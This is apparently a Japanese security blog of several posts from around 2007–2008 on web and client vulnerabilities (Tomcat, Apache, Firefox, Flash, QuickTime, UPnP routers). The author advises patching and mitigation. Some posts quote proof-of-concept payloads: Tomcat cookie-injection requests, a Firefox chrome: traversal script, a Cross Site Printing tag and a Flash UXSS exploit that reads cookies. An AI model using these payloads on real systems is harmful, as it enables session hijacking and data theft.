カテゴリー: Security

YouTubeに投稿されていたセキュリティ関係の番組です。

全て英語で字幕などはありません。日本でも同じような番組があるのかも知れませんが、テレビはニュースくらいしか見ないので放送されているのかどうか分かりません。

英国BBCのニュース番組のようのです。

Orthus（コンピュータセキュリティの会社）の方のコメントは全くの正論です。多くの会社はセキュリティ製品を購入することで安全性が確保できると考えて、もっとも基本的な対策であるソフトウェアのアップデートを行っていないケースは少なくありません。コンピュータシステムへの攻撃も進化しているので防御策のアップデートも書かせません。

比較的、最近アメリカで作成されたと思われる番組です。

番組中で「セキュリティ上の問題はネットワークではなくアプリケーションにある」と指摘しています。セキュリティに詳しい方には、ネットワークセキュリティの問題よりアプリケーションの問題の方が大きな問題になっている事は常識です。多くのエンドユーザが同じ認識であるか、は疑問です。

eEyeによるMS Office文書の脆弱性を利用した攻撃の実演です。

頻繁に行われているタイプの攻撃です。知らない方が見るとあまりに簡単に攻撃でき、キーロガーがインストールされる様子は衝撃かも知れません。Vistaでも利用できる攻撃はいくらでもある、と出演している方が紹介しています。出演している方の意図は「Vistaを使っているから、と安心できない」と言いたいと思いますが、この番組を見た方が「Vistaでも危ないならXPのままでも良いか」「VistaとXPのセキュリティレベル同じくらいなのか」と思っていしまわないか心配です。

脆弱性は意外と単純な所に残っている場合の方が多いです。

http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-5333

Apache Tomcat 6.0.0 through 6.0.14, 5.5.0 through 5.5.25, and 4.1.0 through 4.1.36 does not properly handle (1) double quote (“) characters or (2) %5C (encoded backslash) sequences in a cookie value, which might cause sensitive information such as session IDs to be leaked to remote attackers and enable session hijacking attacks. NOTE: this issue exists because of an incomplete fix for CVE-2007-3385.

これだけだと解りづらいですが以下のURLにもう少し詳しく書いてあります。

http://www.securityfocus.com/archive/1/archive/1/487822/100/0/threaded

Examples:
+++
GET /myapp/MyCookies HTTP/1.1
Host: localhost
Cookie: name="val " ue"
Cookie: name1=moi
+++
http://example:8080/examples/servlets/servlet/CookieExample?cookiename=t
est&cookievalue=test%5c%5c%22%3B+Expires%3DThu%2C+1+Jan+2009+00%3A00%3A0
1+UTC%3B+Path%3D%2Fservlets-examples%2Fservlet+%3B

(さらに…)

OpenTechPressにLinux/Apache系Webサイトを狙った正体不明の攻撃についての現状報告と気になる記事があります。

この攻撃ですが、結構話題になっていて私のブログでも先日FTPとCPanelユーザはクラッキングに注意が必要と題したエントリを公開しています。OpenTechPressの記事中にもcPanelの件は紹介されていますが、非常に気になる記述がある

問題のルートキットを検出する方法ないし、感染の確認されたサーバの洗浄法についてアドバイスが得られないかをApache Software Foundationに問い合わせてみたが、Apacheのセキュリティ対策チームに属するMark Cox氏から得られたのは、「現状で攻撃者側がサーバ群のルートアクセスを得た方法の詳細はつかみ切れていませんが、同時にApache HTTP Serverに潜む脆弱性に起因していることを示す証拠も得られていません」という回答である。

Linuxサーバにルートキットがインストールされるらしい。そしてその確認方法は

感染後は数字で始まるディレクトリの新規作成が行えなくなるとされている（例えば「mkdir 1」など）。

としています。ルートキットなのでps uaxなどとしてもプロセスリストには出てこないはずです。本当にmkdir 1でファイルが作れないなら試してみるのも良いかもしれません。ただし、mkdir 1でファイルが作れないのはルートキットのバグと考えられるます。最新版では修正済かもしれません。記事に紹介されているようにパケットをモニタリングする方法の方が確実でしょう。

rootのパスワードを推測した可能性が高いと記載されていますが本当のところはどうなのか気になります。

この攻撃のすごいところは、その手法がかなり洗練されている点です。

How a Rootkit works
1. Once the Rootkit is successfully installed, the server will sit idle until rebooted. During a server reboot, the system initialization scripts will call the infected binaries.
2. When executed, the infected binary packages use /dev/mem as a pathway to the Kernel, and then attach to several system calls within the running Kernel. This results in hidden files, broken binary packages, and random JavaScript code being seen by web visitors.
3. When the system is fully online in an infected state, the Kernel will begin serving a JavaScript payload to random web requests/visits. This occurs outside of Apache and will not be seen in any of the Apache logs. The JavaScript injection will look like:
<script language=’JavaScript’ type=’text/JavaScript’ src=’cbolw.js’></script>

http://servertune.com/kbase/entry/258/

ApacheやPHPなどのWebアプリケーションレベルで攻撃用のJavaScriptを送信しているのではなく、ルートキットがインストールされたカーネルから送信している、としています。

アプリケーションレベルはもちろん、Apacheのログにも残らず、不審なファイル/プロセスも見えないこの攻撃はかなりの脅威です。

前回に引き続きWeb関係のセキュリティ脆弱性がどのように攻撃されるのか解説した記事がThinkITに掲載されています。

今回はRuby on Railsの脆弱性が対象です。Ruby on Railsにもいくつかのセキュリティ脆弱性が報告されていますが、URLベースのセッションがいかに脆弱であるか解説しています。

解説対象の脆弱性
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5380
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6077

(さらに…)

先日Apache httpdサーバにセキュリティ脆弱性を修正したリリースが公開されました。

例えばSecuniaのApache httpd 2.2の脆弱性ページをみると先日リリースされた2.2.8で修正された脆弱性のセキュリティリスクは低く評価されています。
http://secunia.com/advisories/28046/

ここにはmod_negotiation脆弱性の記述がありません。mod_negotiationはここに掲載されているmod_proxy_ftp,mod_status,mod_proxy_balancer,mod_imagemapと違い、多くの環境でデフォルトで有効となっていると考えられるモジュールです。

Minded Security Labs: Advisory #MSA01150108
Apache mod_negotiation Xss and Http Response Splitting
http://www.mindedsecurity.com/MSA01150108.html

によるとmod_negotiationにはXSS, HTTP Response Splittingが可能な脆弱性があり、それぞれ

Apache <=1.3.39
<= 2.0.61
<= 2.2.6

に影響があります。この脆弱性を利用した攻撃は簡単です。しかもデフォルトで有効なモジュールなので影響は大きいです。

私が管理するサーバもhttpd 2.2.6で運用している物がまだ大半だったのでmod_negotiationが有効だった物は無効化しました。

影響が大きいと考え時間差を作る為と思われますが、あえてチェンジログにはこの脆弱性の修正が記載されていなかったようです。
http://www.apache.org/dist/httpd/CHANGES_2.2.8

攻撃にはサーバ上のファイル名を操作できる必要があります。例えば、画像や添付ファイルなどをアップロードし、そのファイル名を制御できるアプリケーションを使っている場合、この攻撃可能です。CMSやブログアプリ、文書管理システムなどが脆弱である可能性があります。

Apache httpdを運用されてる方は早急に確認／対策される事をお勧めします。

前回のエントリでFirefoxの利用をお勧めしているので未パッチのFirefoxの脆弱性を紹介しておきます。

Firefox chrome: URL Handling Directory Traversalにchromeがディレクトリ遷移攻撃に脆弱だとレポートされています。

この脆弱性を用いるとシステム内のファイルを盗まれる可能性があります。（追記に書きましたが、正確にはJavaScriptとして読み取れる必要があります。コードを見ると判りますが、JSON形式のデータファイル, prefs.js等が読みとられる可能性があります。）PoCとしてWindows上のThunderbirdのall.jsを取得するコードが公開されています。

<script>pref = function(x, y){document.write(x + ‘ -> ‘ + y + ‘<br>’);};</script>
<scriptsrc=’chrome://downbar/content/%2e%2e%2f%2e%2e%2f
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%
2e%2f%2e%2e%2f%2e%2e%2fProgram%20Files
%2fMozilla%20Thunderbird%2fgreprefs%2fall.js’>
</script>

悪意のあるメール、ページには注意が必要です。この種の例は多数あります。Firefoxの脆弱性だけでなくFlash, Adobe Reader, QuickTime, RealPlayerが代表例です。NoScriptは必須の拡張だと言えると思います。

ところで、このようなクライアント側の脆弱性はWeb開発者には関係ない、と考えた方はいないでしょうか?このFirefoxの脆弱性ではセッションIDを盗む事はできませんが、セッションIDを盗める脆弱性もあるのです。昨年末見つかったFlashのUnversal XSS脆弱性などは最悪の部類です。

セッションIDは神経質過ぎるくらいに管理した方が良いと考えています。セミナーなどで「セッション管理は必ずセッションクッキーを使うこと」と繰り返し説明しています。もし有効期限を設定したクッキーを利用している場合、簡単にセッションIDが盗めます。セキュアなWebアプリ作りには定石があります。「セッション管理は必ずセッションクッキーを使う」は基本の中の基本です。しかし、この基本に従っていないアプリケーションも多数あります。この様なアプリケーションの場合、ユーザのセッションIDを盗まれ成りすましによる攻撃を受ける可能性があります。

フレームワークを使っているから安全、などと言うことはありません。普通のフレームワークはセッション管理に利用するクッキーの有効期限は設定可能になっているからです。Webアプリ構築はサーバ側だけでなくクライアント側の問題も考えて作らなければ安全性を維持できません。

追記：
ITMediaに関連記事が載っていました。
http://www.itmedia.co.jp/news/articles/0801/24/news014.html

PoCの見ると関数をオーバーライドして情報を取得しているのでJavaScript形式で書かれた設定ファイルでないと読み取れない。JSONのデータをCSRFで盗むのと同じ要領です。データがJavaScriptとして読み出せるファイルだけしか読みこむ事ができません。FirefoxもThunderbirdもパスワードはDBだったかな? grepしてみた限りでは特に読まれて直ぐに危険、というjsファイルはありませんでした。

一般ユーザは拡張がjarなのかそうでないのか等、気にしていないし気づく事はまずありません。jarにして問題解決ならjarにしないと読めない仕様に変更すれば良いと思います。

ちょっとずつ編集していたら結構いい加減な事を書いていたので修正しました。

Hack Attack Hits 10,000 Web Sitesによると自動化された攻撃で10000以上のサイトがブラウザやブラウザプラグインの脆弱性を攻撃するコードをホスティングさせられているそうです。

この攻撃はFTPとCPanelのパスワードをブルートフォース方式で解析、ログインできたサイトに自動的に攻撃コードを埋め込むようになっているそうです。攻撃を受けマルウェア配布に利用されているサイト管理者の多くは攻撃自体に気づいていないとしています。

自動化されているので日本語のサイトであることなど関係無しに攻撃される可能性があります。予測しやすいパスワードを利用されている方はすぐに予測できないパスワードに変更されることをお勧めします。

記事には常に変わるJavaScriptを生成するファイルが埋め込まれる、

Those servers have been infected with a pair of files that generate constantly-changing malicious JavaScript.

と書いてありますがさすがに攻撃コード自体を変更するのは難しいと思います。恐らくダウンローダーへアクセスするJavaScriptが動的に生成されているのだと思います。

どのような攻撃が考えられるか参考になるリンク

Death by iFrame
http://www.cio.com/article/135452

これを読むとマルウェアをホスティングさせられたサイトがどのように利用されるか解ると思います。
# 予想なので違っているかも知れません。
# 間違っていたら教えてください。

関連記事
Legitimate sites serving up stealthy attacks
http://www.securityfocus.com/news/11501
Attackers favor compromise over creation
http://www.securityfocus.com/brief/667
Most malware comes from legit sites, says researcher – 51% of sites spreading malicious code have been hacked
http://www.computerworld.com/action/article.do?command=viewArticleBasic&articleId=9058599&intsrc=hm_list

攻撃に成功するとPCはボットネットに組み込まれます。この攻撃から自分（ブラウザのユーザ）を守るには

• ブラウザとプラグインを最新版にする（脆弱性がないバージョンを利用する）
• FirefoxにNoScript拡張をインストールして利用する（信頼しないサイトではiframeを無効にする）

の両方を併用することが望ましいと思います。Flash, QuickTime, RealPlayer, Adobe Readerは最低限チェックすべきプラグインです。アプリケーションが勝手にプラグイン（プロトコルハンドラも）をインストールしている場合もあるので要注意です。

上記の対策だけでは心配なので以下のチェックもする方が良いと思います。

• Windowsを安全な状態にする（Microsoft Updateで最新版の状態にする)
• 無闇にサイトを信頼しない（特に個人運営サイト）
• その他のアプリケーションも脆弱性があるバージョンはすべて更新する

個人運営サイトでなくてもホスティングサービスを利用しているサイト等ではリスクはあります。似たような攻撃ならガジェットを利用しているWebサイトでも可能です。したがってガジェットを利用しているサイトにも注意が必要です。

セキュリティアップデートに敏感なユーザでも脆弱性があるプログラムの更新を忘れている事は非常に多いようです。脆弱性情報サイトとして有名なSecuniaのPSI(Personal Security Inspector)のベータテスト、100万ユーザから得られたデータによると、95%のPCに既知の脆弱性があるプログラムがインストールされていたそうです。PSIをインストールするユーザはセキュリティアップデートには敏感なユーザと考えられますが、95%つまり100万PCのうち95万のPCには何らかの既知の脆弱性があるプログラムがインストールされていた事になります。これには驚きです。

PHPのSQLインジェクションを実体験
http://www.thinkit.co.jp/free/article/0801/5/2/
を書かせて頂きました。この文字エンコーディングを利用した攻撃は古い脆弱性です。知っている方なら2年以上前からよくご存知とは思います。

記事のタイトル通り、文字エンコーディングを利用したSQLインジェクションを実体験できます。ご興味のある方、まだご存知でない方はぜひご覧ください。

万が一、文字エンコーディングベースの攻撃に未対策で攻撃される可能性のある方はできるだけ早く対策することをお勧めします。

GNUCITIZENは重要なセキュリティ問題を次々に公開しているのでセキュリティに興味がある方はチェックしているのでご存知とは思いますが、

Hacking The Interwebs
http://www.gnucitizen.org/blog/hacking-the-interwebs

に非常には深刻なセキュリティ問題が解説してあります。具体的な攻撃方法などはGNUCITIZENを参照してください。日本でもいろいろ書かれるかな、と思っていたのですが予想より少ないのでブログに書くことにします。ここでは重要な部分だけ要約して書きます。

攻撃

Flashを利用したUPnPルータの攻撃シナリオは以下になります。

• UPnPが有効なルータがある
• 悪意のあるFlashをWebブラウザで参照する
• UPnPルータの設定を変更するSOAPリクエストをFlashが送信する
• UPnPルータで可能なルータ設定が変更される（乗っ取られる）

UPnPによるポートフォワード設定等には認証は必要ありません。Flashのセキュリティ脆弱性も必要ありません。ポートフォワード設定だけでも十分致命的ですが、DNSサーバ設定が変更されるとセキュリティ上致命的な問題です。

対策

UPnPルータへの攻撃を効果的に防ぐには

• ルータのUPnP機能を無効にする

しかありません。

FAQ

http://www.gnucitizen.org/blog/flash-upnp-attack-faq
から抜粋&要約

• Flashを表示するだけで攻撃される? – はい
• Flashの脆弱性に依存しているか? – いいえ
• Flashのバージョンに依存しているか? – いいえ
• 最新のUPnPルータなら安全? – いいえ
• UPnPはデフォルト有効か? – はい。ほとんど全てのSOHOルータの初期設定として有効
• UPnPは無効にできる? – はい。無効にしてください
• Flashをアンインストールすれば安全? – いいえ。他の方法で攻撃される可能性がある。
• どれくらい危険? – 非常に深刻です。UPnPを無効にしてください

備考

UPnPは必要か?というと一般的なユーザであればUPnPが無効でも困ることは無いはずです。

困るかもしれないユーザは

• ネットゲームを利用しているユーザ
• P2Pを利用しているユーザ

が考えられます。他にもあるかも知れません。

参考URL

http://www.gnucitizen.org/blog/hacking-the-interwebs
http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-5
http://www.gnucitizen.org/blog/flash-upnp-attack-faq
http://it.slashdot.org/article.pl?sid=08/01/14/1319256

QuickTime関連の脆弱性多さは非常に目につきます。また見つかったようです。

http://www.milw0rm.com/exploits/4885

During my tests I have been able to fully overwrite the return address
anyway note that the visible effects of the vulnerability could change
during the usage of the debugger (in attaching mode it’s everything
ok).

と書いてあるので任意コード実行が可能です。

======
4) Fix
======

No fix

0dayらしいので不必要に「rtsp://」は開かない事…

クロスサイトスクリプティングと同じ要領でネットワークプリンタに接続して印刷してしまう「Cross Site Printing」と呼ばれている手法が公開されています。

<img src=”myprinter:9100/Print_from_the_web”>

ポート9100でネットワークプリンタが印刷できる状態で待機しているので印刷できてしまいます。クロスサイトリクエストフォージェリと同じようなもの、と言った方が分かりやすいかも知れません。PDFにはFAXの送信方法も記載されています。
Cross Site Printingの仕組みは単純ですが根本的な対策は簡単ではありません。

一般的なユーザはインターネットを利用する場合のリスクを十分理解していない場合が多いと思います。コンピュータに詳しくない方が、より安全に利用する為のTipsを考えてみました。

• 常に最新バージョンのブラウザを利用する
• 常に最新バージョンのブラグインを利用する
• JavaScript/プラグインを無効にする
• ブラウザにインストールする拡張機能（プラグイン）は最小限にする
• 仮想環境でブラウザを利用する
• ログアウトする
• ブラウザを終了させる
• 管理者権限を持たないユーザでログインする
• ブラウザとプラグイン以外のアプリケーションも最新版を利用する
• 信用できそうなサイトもできるだけ信用しない
• インターネットからダウンロードしたアプリ、プラグイン、コーデック、ドライバ等をインストールしない
• サイト毎に別のパスワードを設定する
• 文字エンコーディングの自動認識を無効化する
• インターネットからダウンロードした出所が不明なドキュメントは開かない

ここに書いている対策は実際に自分も行っている対策なので、コンピュータに詳しくない方が全て実行するのは難しいとは思います。できる部分だけでも実行すると良いでしょう。

他にもコレ、といった対策／注意点があったら教えてください。

(さらに…)

Flash Playerに深刻な脆弱性（簡単に他所のサイトのアカウントが乗っ取れる脆弱性と他の脆弱性）がありアップデートがリリースされています。

悪意のあるSWFファイルを読み込ませることによって脆弱性を悪用することができ、攻撃が成功すればシステムを乗っ取ることも可能だという。

http://internet.watch.impress.co.jp/cda/news/2007/12/20/17964.html

ここまでしか読まなければかなり控えめな表現であることが分かります。後半の方まで読むとエンジニアであれば理解できる書き方になっています。

Flash Playerにはクロスドメインポリシーファイルの扱いに関する脆弱性が存在しているという。その結果、細工を施されたWebページによって、サイトのクロスドメインポリシーが迂回される可能性があり、サイト管理者の意図に反してデータがアクセスされる可能性があるとしている。このほか、任意のHTTP ヘッダが送信可能な脆弱性も存在するという。

あまり素人向けの解説とは言えないかも知れません。Watchなのでこれでも良いのかも知れませんが。

Securiteamの記事は最初の方に重要な事が書いてあるので分かりやすいです。

This vulnerability allows remote attackers to run arbitrary JavaScript code in the security context of other domains,

http://www.securiteam.com/securitynews/6E00L00KKC.html

Universal Cross Site Scriptingと呼ばれるタイプの非常に危険な脆弱性です。別の言い方をすると他所のドメインのクッキーを自由に盗める脆弱性です。悪意のあるフラッシュを実行するとログイン状態にあるサイトのアカウントを乗っ取られる可能性があります。

しかもこの脆弱性の攻撃は非常に簡単です。元ネタのStanford大のページ、Securiteamのサイトには攻撃方法が記載されています。

Exploit:
package {
  import flash.display.Sprite;
  import flash.net.*;
  import flash.utils.*;

  public class uxssdemo extends Sprite {
    public function uxssdemo() {
      setTimeout(DoAttack, 1000);
    }

    public function DoAttack():void {
      var request:URLRequest =
          new URLRequest('javascript:alert("Cookie: "+document.cookie+"\\n\\nContent: \\n\\n" + document.lastChild.innerHTML);window.close();');
      navigateToURL(request, 'tg');
    }
  }
}

Flashをよく知らない人でも簡単に攻撃できます。もしまだアップグレードしていない方は即刻Flash Playerをアップグレードした方がよいです。

Adobeのセキュリティ情報
http://www.adobe.com/support/security/bulletins/apsb07-20.html

Flashのダウンロードページ
http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash

Flashのバージョンチェック
http://kb.adobe.com/selfservice/viewContent.do?externalId=tn_15507